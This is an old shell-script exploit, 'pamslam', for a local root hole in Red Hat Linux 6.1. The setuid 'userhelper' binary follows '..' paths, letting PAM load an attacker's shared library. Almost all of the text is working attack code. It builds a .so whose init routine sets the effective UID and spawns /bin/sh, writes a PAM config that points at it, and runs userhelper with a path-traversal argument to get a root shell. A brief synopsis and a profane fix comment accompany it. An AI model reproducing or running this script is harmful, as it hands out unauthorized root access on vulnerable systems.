#!/bin/sh # # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start # found by dildog@l0pht.com # # synopsis: # both 'pam' and 'userhelper' (a setuid binary that comes with the # 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to # _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper' # being setuid means we can get root. # # fix: # No fuckin idea for a good fix. Get rid of the .. paths in userhelper # for a quick fix. Remember 'strcat' isn't a very good way of confining # a path to a particular subdirectory. # # props to my mommy and daddy, cuz they made me drink my milk. cat > _pamslam.c << EOF #include #include #include void _init(void) { setuid(geteuid()); system("/bin/sh"); } EOF echo -n . echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf chmod 755 _pamslam.conf echo -n . gcc -fPIC -o _pamslam.o -c _pamslam.c echo -n o ld -shared -o _pamslam.so _pamslam.o echo -n o chmod 755 _pamslam.so echo -n O rm _pamslam.c rm _pamslam.o echo O /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf sleep 1s rm _pamslam.so rm _pamslam.conf

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